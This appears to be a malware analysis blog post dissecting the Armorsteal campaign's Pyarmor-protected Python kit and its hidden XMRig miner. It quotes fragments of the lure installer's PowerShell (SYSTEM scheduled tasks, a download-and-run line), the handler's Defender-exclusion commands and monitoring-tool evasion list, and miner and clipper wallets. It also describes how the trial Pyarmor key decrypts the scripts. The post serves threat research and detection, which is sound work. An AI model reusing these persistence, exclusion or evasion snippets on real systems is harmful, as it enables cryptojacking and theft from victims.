Armorsteal's Pyarmor key is the shared trial key, and its boot task starts a miner
Armorsteal's Pyarmor scripts all open with the shared trial key, and its SYSTEM boot task runs an XMRig miner handler, not the remote access module.
- Published
- Reading time
- 16 minutes
- Filed under
- armorsteal, pyarmor, python, xmrig, clipper, seo-poisoning, windows
- Sample
- Armorsteal (remote access package Update.zip)
- SHA-256
3e3b62a9836697d978cbb620dc8af8f6eefdf8cb73fc30d16bb394d1c58f4c97- Source
- Hybrid Analysis
Armorsteal’s boot-time scheduled task, the one that runs as SYSTEM, doesn’t start the remote access module. It starts xm_handler.py, which adds C:\Windows to Microsoft Defender’s exclusions, downloads a hash-pinned XMRig build with its pools compiled in, and stops mining whenever one of 20 monitoring tools is open.
Every Python script in the kit is protected with Pyarmor’s trial edition, and the trial runtimes in all three packages give the same AES key: the default that a public unpacker already carries for trial builds. So the scripts open without running anything, and the miner, its two wallets, the task-signing key and the clipper’s 13 replacement addresses come out of the bytecode.
Zscaler’s Threat Hunting team named Armorsteal on October 22 (Nashid P). The campaign uses fake Chocolatey and Microsoft Activation Scripts (MAS) sites that hand visitors a PowerShell one-liner, and a Python 3.11 kit with remote access, surveillance and stealer modules.
Two public sources already had parts of this:
- Zscaler’s report covers the C2 endpoints, the signed-task scheme, the surveillance and stealer features and the infrastructure. It says the scripts are “protected with Pyarmor 9.1.7 (trial version)”. It doesn’t mention a miner.
- A bare IOC list by starmtp, committed on September 11, already names
xm_handler.py, the custom miner’s hash andaverageguardian[.]net(plusgoodboys[.]top[.]net, one label off from the realgoodboys[.]top). It has no analysis, keys or wallets.
None of the report’s 10 file hashes is on MalwareBazaar. Six are on Hybrid Analysis, and I took four of them: the MAS installer and the three module packages. Three more files are pinned by hash inside the kit itself, and all three are on Hybrid Analysis (one also on MalwareBazaar), as is an older remote access package on MalwareBazaar.
What I found
- The MAS installer’s boot task,
SysCheckX, runsxm_handler.pyas SYSTEM. Zscaler’s table says that task launches the remote access module. - The handler keeps an XMRig 6.26.0 build running, excludes all of
C:\Windowsfrom Defender, and kills the miner while any of 20 monitoring tools runs. - All three Pyarmor runtimes, from releases 8.4.7, 8.5.0 and 8.5.1, yield AES key
ab738f35ffce23b13ae73d5a2c17a896. It’s the trial default that the 1shot unpacker ships, so these scripts decrypt without their runtime. - The remote access module pins each package it downloads by SHA-256. One pinned file,
configf.json, which Zscaler describes as the C2 liveness probe, is an XMRig config. - Two miner configs use two Monero wallets on
auto.c3pool[.]organd five proxy addresses on port 8880. The clipper carries 13 addresses for 9 coins. - Pyarmor stamps every script with its obfuscation time. They run from 2025-02-25 to 2026-09-16, so parts of the kit are 18 months older than the campaign.
What the MAS installer actually runs
The installer (f3846ec2…, 3,305 bytes) is a short PowerShell script. It loops on Start-Process … -Verb RunAs until it’s elevated, hides its console, and downloads hxxps://massgravel[.]net/Updatef.zip to C:\Windows\SystemHealth\Update.zip. Then it registers two tasks (error handling trimmed):
schtasks /create /tn "SysCheck2" /tr "conhost.exe --headless cmd /c cd /d C:\Windows\SystemHealth\Update && python.exe SysMon.py" /sc onlogon /rl highest /f
# SysCheckX: AtStartup SYSTEM, no conhost (session 0 / 0x80070003).
$xmDir = "C:\Windows\SystemHealth\Update"
$xmAction = New-ScheduledTaskAction -Execute "$xmDir\python.exe" -Argument "$xmDir\xm_handler.py" -WorkingDirectory $xmDir # (1)
$xmTrigger = New-ScheduledTaskTrigger -AtStartup
$xmTrigger.Delay = "PT45S"
$xmPrincipal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
...
iex (irm 'https://get.activated.win') # (2)SysCheck2 matches Zscaler’s description. SysCheckX at (1) runs at startup, after a 45-second delay, as SYSTEM, and it runs a different script: xm_handler.py, which ships in the same Update.zip next to SysMon.py. Both tasks get ExecutionTimeLimit set to zero, with a comment explaining that Task Scheduler would otherwise kill them after three days.
At (2) the script runs the real MAS one-liner, so the victim gets the activation script they were looking for. The Chocolatey installer (fb118116…) isn’t on either sample site, so I can’t say whether it registers the same SysCheckX.
The Pyarmor layer opens with the trial’s default key
Each protected script is three lines (four in the six that keep a #!/usr/bin/env python3 line above them). The first Pyarmor line is a comment:
# Pyarmor 9.1.7 (trial), 000000, non-profits, 2026-09-16T21:43:47.262326
from pyarmor_runtime_000000 import __pyarmor__
__pyarmor__(__name__, __file__, b'PY000000\x00\x03\x0b\x00\xa7\r\r\n\x80...')000000 is the license number, and the header marks it as the trial. Pyarmor’s license page says every license has a unique number of the form pyarmor-vax-xxxxxx. The blob after PY000000 is the encrypted code object, and its key lives in pyarmor_runtime.pyd.
The scripts were decrypted with Pyarmor-Static-Unpack-1shot and read as disassembly. 1shot’s runtime.py derives the key as MD5 over three fields read from the runtime, plus a fixed certificate. The three fields are the license string pyarmor-vax-000000, an RSA public key, and a product block starting i.non-profits.
A paid license has its own number, so its key differs. The trial’s fields carry nothing about the user, which is why 1shot ships a built-in default for trial runtimes. I checked runtimes from 8.4.7, 8.5.0 and 8.5.1 only; a later Pyarmor release could change the trial’s fields.
The three runtimes in these packages have different file hashes and come from three Pyarmor releases (per their package headers), and all three give that default:
default ab738f35ffce23b13ae73d5a2c17a896 692e6e6f6e2d70726f666974
rat ab738f35ffce23b13ae73d5a2c17a896 000000 True
steal ab738f35ffce23b13ae73d5a2c17a896 000000 True
surv ab738f35ffce23b13ae73d5a2c17a896 000000 TrueThe second value is the nonce for Pyarmor’s string encryption, the bytes i.non-profit. Zscaler calls the trial “operationally useful to the threat actor because it provides code obfuscation without requiring a commercial Pyarmor license”. It also gives the defender the key.
G DATA’s Pyarmor v8+ write-up explains the format; 1shot implements it. I built 1shot from source and pointed it at each package. It decrypted all 18 protected scripts (17 distinct files; test20.py ships in two packages) and wrote a disassembly and a partial decompilation for each.
The decompiler gave up inside most functions, so the facts below come from the disassembly, which 1shot’s README calls accurate where the decompilation may not be. The header timestamps, collected from all 18:
| package | scripts | Pyarmor | obfuscated at |
|---|---|---|---|
remote access (Update.zip) | SysMon.py | 9.1.7 | 2026-09-16 21:43 |
xm_handler.py | 9.1.7 | 2026-09-03 13:53 | |
surveillance (nig20084.zip) | basrq.py | 9.1.7 | 2026-09-01 23:46 |
fakeex.py, fakemet.py, fakeph.py | 9.1.7 | 2025-06-10 | |
stealer (getthem20084.zip) | got.py | 9.1.7 | 2026-09-01 23:46 |
ac.py, dt.py, du.py, pms.py, sic.py, wc.py | 9.1.7 | 2026-07-26 17:52 | |
getst.py, getws.py, newst.py | 9.1.7 | 2025-05-31 | |
| both of the above | test20.py | 8.5.1 | 2025-02-25 17:10 |
The stamps carry no time zone, so I only use them for order. Zscaler first saw the campaign in September 2026, but the cookie stealer was obfuscated in February 2025 and the fake wallet notifications in June 2025.
The remote access module pins every package by hash
SysMon.py lists the four C2 domains in priority order: workerstats[.]net, niceer[.]net, datamons[.]org, supertrap[.]net, all on 443. It hands them to a DomainManager class whose docstring survived Pyarmor: “Priority-based domain failover with automatic failback.”
Docstrings survive throughout, because they are string constants that Pyarmor encrypts along with the code and 1shot decrypts back. So do the comments inside the Python source strings the module runs with exec. They make the reading easy.
Before running anything it downloads, the module checks it against a table:
| Address | Instruction | Note |
|---|---|---|
| 802 | LOAD_CONST 43: '237ba698d7dc8936c43e0e78e7644002375e51e8baf9b3a7d4e18683f871ee31' | |
| 804 | LOAD_CONST 44: 'be0329d0795dd62ae587faf97e704bb36413e5c98ddd8fe575f5077db3c84e5f' | |
| 806 | LOAD_CONST 45: '253653f645b9c89e7e7e7e967926b0cf0f9adda98ac9d6ba4aa1eb354d80ab9d' | |
| 808 | LOAD_CONST 46: '8591e3a176aa082faaae9f19882c62dd8e120ee5c269a1402b9d826999251d7e' | |
| 810 | LOAD_CONST 47: ('nig20084.zip', 'getthem20084.zip', 'xmrig-6.26-v2.zip', 'configf.json') | |
| 812 | BUILD_CONST_KEY_MAP 4 | |
| 814 | STORE_NAME 47: VERIFIED_HASHES |
The first two are the surveillance and stealer packages from Zscaler’s list. The other two weren’t in the report, and both are public: xmrig6.26-v2.zip on MalwareBazaar and configf.json on Hybrid Analysis.
/downloadables/configf.json is the path SysMon.py, basrq.py and got.py request to check whether a domain is alive. Zscaler’s table describes it as “Checks whether the C2 server is available based on the HTTP status code 200.” The pinned file at that name is an XMRig config with three pools.
Nothing in SysMon.py uses the last two entries, and the miner handler pins a different zip. The XMRig zip in this table was on Hybrid Analysis by June 6, 2026, three months before the campaign Zscaler saw, and its config.json is dated April 28. I think the entries are left over from an earlier way of delivering the miner, from before xm_handler.py existed. That is an inference from the table and those dates, not from any task I’ve seen.
The older Update.zip on MalwareBazaar (first seen September 13, tag fakemas) holds an earlier SysMon.py, obfuscated on September 1. Its table maps nigf.zip to 04d28281… and getthemf.zip to 56f05c4f…. Its code downloads them from /downloadables/nig20083.zip and /downloadables/getthem20083.zip.
nig is the surveillance package (it unpacks to nig\basrq.py), so 04d28281… is the older surveillance package. Zscaler’s table lists it as “Older stealer module”.
The two builds also differ in the download code, and the later one adds the OEM-placeholder checks on the motherboard serial. The September 16 build:
- resumes interrupted downloads with
Rangerequests (the docstring blames a CDN that “aborts responses to slow or briefly-stalled clients”) - waits (up to an hour) for the surveillance package to finish before it fetches the stealer
Signed tasks
Tasks are Python source with an RSA signature. The public key is embedded as base64 DER:
bits 2048 e 65537
n_hex_prefix 0xb6e69915b6df303107724b3e8049b6a0
spki_sha256 c9189c37e1104308b10a12e5b0e68f31a5529e748893af408bcae31bce01b069verify_signature is a hand-written PKCS #1 v1.5 check: pow(sig, e, n), then 00 01, a run of FF, 00, the SHA-256 DigestInfo prefix, and a comparison with SHA-256(code.encode('utf-8')).
The per-victim endpoint (/get-onetime-code/<id>) returns JSON with code in plain text. The global one (/get-global) returns text whose last line starting with # __SIGNED__: carries JSON with base64 code.
A task runs only if the integer in its ONETIME_VERSION = N or GLOBAL_VERSION = N line is higher than the one saved in onetime_version.txt or global_version.txt. A per-victim task then runs through exec(compile(code, '<agent>', 'exec'), {}), in an empty namespace. A global task runs through exec(compile(code, '<global>', 'exec'), globals()), so it can call anything the module defines, the hash-checked downloader included.
Zscaler described this scheme; the key and the exact checks are what the disassembly adds. Without the private key nobody else can push a task to an infected machine. The SPKI hash above is a way to recognize this operator’s agents if the key turns up in other builds.
xm_handler.py keeps a miner running as SYSTEM
xm_handler.py starts with its configuration in plain module-level names (values copied from the disassembly):
XMRIG_ZIP_NAME = 'xmrig-6.26-v2-cs-2.zip'
XMRIG_ZIP_HASH = '4a39f7a37ef2f81e6e75ec7dd931392b49dd3016ff8ede651f57e9344b1eeb4e'
XMRIG_DIR = os.path.join(BASE_DIR, 'xmrig-v2')
XMRIG_MARKER = os.path.join(BASE_DIR, 'xmrig_installed.hash')
CHECK_INTERVAL = 1
EXCLUSION_RECHECK_INTERVAL = 60
DEFENDER_EXCLUSION_PATH = 'C:\\Windows'
MONITORING_TOOLS = {'anvir.exe', 'resmon.exe', 'fiddler.exe', 'perfmon.exe', 'procexp.exe', ...} # 20 namesIts main loop wakes once a second. If any process name is in MONITORING_TOOLS, it kills every xmrig.exe and skips the rest.
Otherwise, at most once a minute, ensure_defender_exclusion reads (Get-MpPreference).ExclusionPath. If C:\Windows is missing, it runs Add-MpPreference -ExclusionPath 'C:\Windows' and Add-MpPreference -ExclusionProcess 'xmrig.exe'. If the exclusion is in place, or Defender isn’t active, the loop makes sure the miner is installed and starts xmrig-v2\xmrig.exe with no arguments and CREATE_NO_WINDOW.
Installation means downloading the zip from /downloadables/ on each C2 in turn and checking its SHA-256 against XMRIG_ZIP_HASH. The handler then extracts it with tar and writes the hash to xmrig_installed.hash. A different hash in that marker file triggers a reinstall, which the docstring calls a “miner upgrade”. The 20 tools:
anvir.exe, autoruns.exe, autoruns64.exe, autorunsc.exe, autorunsc64.exe, fiddler.exe, perfmon.exe, processhacker.exe, processlasso.exe, procexp.exe, procexp64.exe, procexp64a.exe, procmon.exe, procmon64.exe, procmon64a.exe, resmon.exe, systeminformer.exe, taskmgr.exe, tcpview.exe, wireshark.exe.
That’s the reason the boot task runs as SYSTEM: adding Defender exclusions needs administrator rights, and the exclusion covers everything under C:\Windows, including C:\Windows\SystemHealth\Update where the whole kit lives. Zscaler’s remediation list says to “Remove unauthorized Microsoft Defender exclusions, particularly exclusions for C:\Windows”, without naming the code that adds them. This is it.
Two miner builds, two wallets
The pinned xmrig-6.26-v2-cs-2.zip (Hybrid Analysis, submitted September 16) holds only xmrig.exe and WinRing0x64.sys. With no config.json and no arguments, the binary has to carry its own config, and it does: a JSON document at file offset 4,074,369 in a 5,005,824-byte custom build that reports itself as XMRig 6.26.0.
The older xmrig-6.26-v2.zip (the one in SysMon.py’s table) holds the official 6.26.0 Windows build with the config.json replaced. Its xmrig.exe matches the one in XMRig’s windows-x64 release zip, 6fa80698…. The release’s own SHA256SUMS file, left in the folder, still lists the original config’s hash. The pools:
| build | pool | user |
|---|---|---|
official 6.26.0 + config.json (same pools as configf.json) | awesomeworkers[.]org:8880 | none |
2.57.241[.]65:8880 | none | |
auto.c3pool[.]org:13333 | wallet A | |
| custom 6.26.0, embedded config | averageguardian[.]net:8880 | none |
goodboys[.]top:8880 | none | |
209.99.189[.]187:8880 | none | |
auto.c3pool[.]org:13333 | wallet B |
Wallet A is 88biyCZR3vaKtYrtUWzBxbd94NuwvW15tGxNfpCjDxMPKo2XQ2a6CEbLixDuZY3uaoXzNoU4vSsKJPw1EQrJL6ejJ2sngbX; wallet B is 86ZVVMkgcLzXhVhT4Jm9LpiR5HYMos851Qiq4bk1xdAYNocP5XeVyDedGWweBMATj26uR4x2eKfHUWhgDr8ZE49NJ1g5BDg. Both configs set rig ID gamer-pc on every pool, plain TCP, and max-threads-hint 75. The port-8880 pools have no user set, which fits a mining proxy that holds the wallet itself; c3pool is the fallback with the wallet in the clear. 209.99.189[.]187 sits in the same /22 as 209.99.186[.]187, which Zscaler lists as an early payload host.
The surveillance module’s clipper
basrq.py polls the clipboard every half second, strips zero-width spaces (U+200B), and replaces anything that matches one of its address patterns. The replacements, checked in this order:
| coin | type | replacement |
|---|---|---|
| BTC | bech32 | bc1qe8l43uhgha6fvdd0qpac743plcdgswk564xxm4 |
| BTC | legacy | 1LjLATf8vQvWZjvZqQDfyGALXq1ck2VC5j |
| BTC | P2SH | 3D9Q369vmP9YqKwpgchz2NamAUCQTHCeLR |
| LTC | bech32 | ltc1qcrttjq0dn4te8qx5ft5338l5ycmxfhrgvqx33d |
| LTC | legacy | LddA5ytZKkMkBp7ALAneN2rQVriLWPLJxh |
| LTC | P2SH | MKWJiR4ZTWLGn2jM9yDXBCNqme3F2msUPF |
| XMR | 87R3boDBYUdekS8nDudRWhKXmaFSMseKade83VvoFomNBTt7cAGdMquVWQ49kPD2hR33omXnp9PHqMGE3KZcQDcY6Yy758G | |
| ETH | 0x9051fBB5913F26Fe95a6832d6eA6f5672Eb61F81 | |
| TRX | TSuNviUnRH1zKeubzTCiPPVAgjSTQAHE3W | |
| XRP | r4buFYBiyNQYeEB6h6Xg7ifs8Du2qPyxbk | |
| DOGE | DPEwRvEk3WoY86MYzpnV6sHt4QPqEYFG1e | |
| TON | UQCl_PDgG7so7ROlL9ya9N9XiAe_zcdppR_iJsr8OXLTRAIh | |
| SOL | Fv3CtZczgQrtSMgeXGdUyXSnwH6hkAGagMBXRpcsh5z6 |
Solana comes last because its pattern, any 32 to 44 base58 characters, would match most of the others. Clipboard text that matches nothing goes into the keylog.
The screenshot cipher is out[i] = png[i] ^ k[i % 32] with k = SHA-256(FIXED_PASSWORD). Zscaler published the key, c1146fbc…. The string behind it is a ten-letter racial slur, which I won’t reprint; its SHA-256 is that key.
SysMon.py identifies the machine by its motherboard serial, or 32 random hex characters if the serial looks like an OEM placeholder. It saves the ID in machine_id.txt, which the other modules read. basrq.py stores it in a variable named MAC_ADDRESS, which it isn’t.
The stealer checks for the miner’s exclusion
got.py imports six helpers (ac, dt, du, pms, sic, wc) and starts by checking Defender:
'Checking Windows Defender exclusions...'
'C:\\Windows'
' is NOT excluded from Defender. Waiting 80 seconds...'
' is excluded from Defender. Proceeding immediately...'So the stealer knows about the exclusion that xm_handler.py maintains and gives it 80 seconds to appear; it carries on either way. It then downloads chrome-injector-v0.17.4.zip from xaitax’s Chrome App-Bound Encryption Decryption releases on GitHub and runs chromelevator_x64.exe from it. The older newst.py in the same package points at version 0.10.0 of the same project.
Zscaler covers the stealer’s targets well, and I have little to add except what the package doesn’t use. These scripts are shipped and decrypt fine:
getst.py,getws.pyandnewst.py(May 2025)test20.py(the Chrome DevTools cookie grabber on port 9222)- in the surveillance package, the three fake wallet notification scripts
No string, import or command line in got.py, basrq.py, their helpers or SysMon.py names them. Nothing in these builds starts them, though a global task could. I think most are leftovers that ship because the operator zips the whole folder.
A config extractor
The extractor reads 1shot’s .1shot.das output and prints the module-level configuration as JSON: C2 list, hash table, task-signing key summary, XOR key, miner pin, monitoring list, clipper wallets, endpoints and URLs. It does this by replaying the module’s LOAD_CONST/STORE_NAME sequence rather than matching strings. Given the obfuscated scripts, it reports the Pyarmor header (version, license number, timestamp); given an XMRig binary, zip or config, it prints the pools, including configs compiled into the binary. Decryption is left to 1shot.
Wrong turns
My first constant dumper skipped any string that looked like a Python identifier, to drop names from the listing. A hex hash that starts with a letter looks like an identifier.
The table came out with three hashes, be0329d0… (the stealer package) missing. For a while I believed the stealer package wasn’t pinned at all, which would have been an odd gap in an otherwise careful loader.
The BUILD_CONST_KEY_MAP instruction takes four values, and there were only three in my output. Reading the disassembly directly showed the fourth. The dumper now reads only [Constants] sections and keeps everything in them.
The other one was trusting the report’s task table. I had written “SysCheckX launches the remote access module” into my notes before opening the 3 KB installer that says otherwise.
What I couldn’t determine
- What the C2 has sent as signed tasks. No task bodies are public, and the domains in the samples weren’t contacted.
- Whether the Chocolatey installer registers the same
SysCheckX. Its hash is in Zscaler’s list but on neither MalwareBazaar nor Hybrid Analysis. - Who the port-8880 proxies pay. The wallets behind them are held by the proxy, not in the config.
- What, if anything, launches
test20.py, the fake notifications and the 2025 stealer scripts in these builds.
Indicators
| SHA-256 | file | role |
|---|---|---|
f3846ec2a6ff0a27d9ef2b9bf7908743b81d295ef29344acfb96ff83fff994f9 | install.ps1 | MAS lure installer |
fb1181160e9f10ce1eb5e5dc9bc23e1498a39110ee9ea361fd150454cb01b292 | install.ps1 | Chocolatey lure installer (from Zscaler’s report; not obtained) |
3e3b62a9836697d978cbb620dc8af8f6eefdf8cb73fc30d16bb394d1c58f4c97 | Update.zip | remote access package, September 16 build |
d89ba5767848eb5597d03a1d0ae30cc451050859fbc3b9fd3095a9474dd7d86b | Update.zip | remote access package, September 1 build |
0ea99fbbe29af6f797e3866ed5f822c7a5d3e9cdb990a8c382a715069f156499 | SysMon.py | remote access module (September 16) |
cdb0e4212356258125512de0fbdbf39b68afa9c7367ca2d4af51efd2f92589a8 | SysMon.py | remote access module (September 1) |
f096f546309031c10c85d9f2d0bb17ae0be19fbdf5796a734a8e991726329500 | xm_handler.py | miner handler (both builds) |
237ba698d7dc8936c43e0e78e7644002375e51e8baf9b3a7d4e18683f871ee31 | nig20084.zip | surveillance package |
04d2828155ed2a276cfd3c97d4f966d328391dd818e04e773212cd601e49fa74 | nig20083.zip | older surveillance package (pinned by the September 1 SysMon.py; not obtained) |
8fb7aaf2b9270b8b75f6844aaefd5242b4f926fb89cba10fff3d9b908a769788 | basrq.py | surveillance module |
be0329d0795dd62ae587faf97e704bb36413e5c98ddd8fe575f5077db3c84e5f | getthem20084.zip | stealer package |
56f05c4fb1c25c04e0dde60e2e5e41ac164a6dc53688d0f9eb52a55f82106389 | getthem20083.zip | older stealer package (pinned by the September 1 SysMon.py; not obtained) |
5410c2f239c3649928383c4478dea182f90b21f5b258081fec07e9d297ae4b1c | got.py | stealer entry point |
253653f645b9c89e7e7e7e967926b0cf0f9adda98ac9d6ba4aa1eb354d80ab9d | xmrig6.26-v2.zip | official XMRig 6.26.0 with replaced config |
8591e3a176aa082faaae9f19882c62dd8e120ee5c269a1402b9d826999251d7e | configf.json | XMRig config served at the liveness path |
4a39f7a37ef2f81e6e75ec7dd931392b49dd3016ff8ede651f57e9344b1eeb4e | xmrig-6.26-v2-cs-2.zip | custom XMRig package pinned by xm_handler.py |
cfe82205e82d53f0959f1dc4094ee8af7b6ecbd86a92ee9a65b865814b343aa5 | xmrig.exe | custom XMRig 6.26.0 with embedded config |
Network (C2 and lure domains are Zscaler’s; the mining entries come from the configs above):
| indicator | role |
|---|---|
workerstats[.]net, niceer[.]net, datamons[.]org, supertrap[.]net | C2 list in all four modules, in that priority order |
massgravel[.]net | MAS lure and package host |
awesomeworkers[.]org:8880, 2.57.241[.]65:8880 | mining proxies (official build’s config) |
averageguardian[.]net:8880, goodboys[.]top:8880, 209.99.189[.]187:8880 | mining proxies (custom build) |
auto.c3pool[.]org:13333 | public pool, used with the two wallets below |
Monero wallets: 88biyCZR3vaKtYrtUWzBxbd94NuwvW15tGxNfpCjDxMPKo2XQ2a6CEbLixDuZY3uaoXzNoU4vSsKJPw1EQrJL6ejJ2sngbX and 86ZVVMkgcLzXhVhT4Jm9LpiR5HYMos851Qiq4bk1xdAYNocP5XeVyDedGWweBMATj26uR4x2eKfHUWhgDr8ZE49NJ1g5BDg. Clipper addresses are in the table above. Task-signing key SPKI SHA-256: c9189c37e1104308b10a12e5b0e68f31a5529e748893af408bcae31bce01b069.
ATT&CK
| ID | Technique | In these samples |
|---|---|---|
| T1053.005 | Scheduled Task | SysCheck2 at logon, SysCheckX at startup as SYSTEM |
| T1562.001 | Disable or Modify Tools | Defender exclusions for C:\Windows and xmrig.exe |
| T1027 | Obfuscated Files or Information | Pyarmor trial on every Python script |
| T1497 | Virtualization/Sandbox Evasion | exit on cloud-provider org from ipinfo (Zscaler) |
| T1057 | Process Discovery | miner stops while any of 20 monitoring tools runs |
| T1496.001 | Compute Hijacking | XMRig 6.26.0, official and custom builds |
| T1115 | Clipboard Data | clipboard read every 0.5 s, 13 replacement addresses |
| T1056.001 | Keylogging | basrq.py keylog, uploaded gzip-compressed |
| T1113 | Screen Capture | keyword-triggered screenshots, XOR-encrypted |
| T1105 | Ingress Tool Transfer | hash-pinned package downloads; xaitax’s Chrome tool from GitHub |
| T1059.006 | Python | signed tasks run with exec, global ones in the agent’s namespace |
Ending
Armorsteal locks its code with Pyarmor and its tasks with RSA, and only one of those locks holds: the trial key is the default a public tool already knows. Behind it is an operator who mines Monero as SYSTEM and, wherever Defender is running, excludes the whole Windows folder to keep doing it. That exclusion is re-checked every minute on every machine with Defender active, and it’s an easy one to look for.
Credits and further reading
- Nashid P (Zscaler Threat Hunting), SEO Poisoning Campaign Delivers New Armorsteal Malware: discovery, lures, modules, endpoints, infrastructure and hashes.
- starmtp, RAT-XMRig.txt: the first public list with
xm_handler.py, the custom miner hash and two mining domains. - Lil-House, Pyarmor-Static-Unpack-1shot: the static decryptor and disassembler that made this possible.
- G DATA Advanced Analytics, Unpacking Pyarmor v8+ scripts and Pyarmor-Tooling.
- Pyarmor license types, for the license number format.
- XMRig 6.26.0 release, used to identify the official binary.